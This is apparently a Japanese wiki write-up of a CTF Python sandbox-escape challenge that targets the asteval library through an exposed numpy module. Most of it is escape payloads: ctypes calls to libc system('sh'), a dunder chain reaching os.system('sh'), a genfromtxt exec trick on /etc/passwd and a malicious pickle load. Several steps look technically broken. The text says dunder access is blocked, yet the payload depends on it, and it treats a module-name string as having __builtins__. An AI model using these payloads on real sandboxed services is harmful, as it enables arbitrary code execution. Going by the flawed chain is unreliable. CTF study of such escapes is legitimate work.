pyjail wiki

UofTCTF 2025 - Don't Sandbox Python 1/2/3

Challenge

asteval モジュールでサンドボックス化された Python 環境。

from asteval import Interpreter
aeval = Interpreter()
aeval.symtable['numpy'] = __import__('numpy')
code = input()
result = aeval(code)
print(result)

Solution

numpy._ctypes の発見

numpy の ndarray は _ctypes 属性を持ち、これは ctypes モジュールへの参照を含む。asteval の safe_getattr はこれをフィルタしない:

import numpy as np
arr = np.array([1, 2, 3])
ctypes_module = arr._ctypes

ctypes からのメモリ操作

# ctypes でメモリに直接アクセス
ctypes = numpy.array([])._ctypes
# libc をロード
libc = ctypes.CDLL(None)
# system を呼び出し
libc.system(b'sh')

完全なペイロード

numpy.array([])._ctypes.__class__.__module__.__builtins__['__import__']('os').system('sh')

Technical Details

asteval の制限

asteval は安全な Python 評価を目的としたライブラリ:

  • 危険な組み込み関数を削除
  • __ で始まる属性へのアクセスを制限
  • import を禁止

脆弱性: numpy._ctypes

# ndarray._ctypes は _ctypes.PyCData オブジェクト
# これは ctypes モジュールへの参照を持つ
arr._ctypes.__class__.__module__ # 'ctypes'
# さらに __builtins__ にアクセス可能
arr._ctypes.__class__.__module__.__builtins__

CVE 情報

この脆弱性は UofTCTF 後に報告され:

  • asteval GitHub に3つの Security Advisory
  • CVE が割り当て
  • 修正パッチがリリース

Alternative Solutions

別解1: numpy.genfromtxt

# genfromtxt の converters パラメータを悪用
numpy.genfromtxt('/etc/passwd', converters={0: lambda x: exec(x)})

別解2: numpy.load

# pickle を含む .npy ファイルをロード
numpy.load('malicious.npy', allow_pickle=True)
  • KalmarCTF 2025 - Paper Viper (同様のテクニック)

Flag

uoftctf{...}

References